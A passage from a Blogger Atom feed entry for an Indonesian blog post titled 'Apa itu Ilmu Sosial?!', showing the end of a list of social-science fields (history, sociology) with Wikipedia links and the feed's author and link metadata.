href="http://id.wikipedia.org/wiki/Sejarah"&gt;Sejarah&lt;/a&gt;, yang mempelajari masa lalu yang berhubungan dengan umat manusia&lt;/li&gt;&lt;li&gt;&lt;a title="Sosiologi" href="http://id.wikipedia.org/wiki/Sosiologi"&gt;Sosiologi&lt;/a&gt;, yang mempelajari masyarakat dan hubungan antar manusia di dalamnya&lt;/li&gt;&lt;/ul&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4183972594340573458-7872360267651691164?l=muse-sfx.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://muse-sfx.blogspot.com/feeds/7872360267651691164/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://muse-sfx.blogspot.com/2009/09/apa-itu-ilmu-sosial.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/7872360267651691164'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4183972594340573458/posts/default/7872360267651691164'/><link rel='alternate' type='text/html' href='http://muse-sfx.blogspot.com/2009/09/apa-itu-ilmu-sosial.html' title='Apa itu Ilmu Sosial?!'/><author><name>Idho</name><uri>http://www.blogger.com/profile/03487104967390016636</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='24' height='32' src='http://2.bp.blogspot.com/_bPukrXvQvG0/SqtlkBpYJCI/AAAAAAAAAAM/To4oroetvA8/S220/CIMG1019.jpg'/></author><thr:total>0</thr:total></entry></feed>
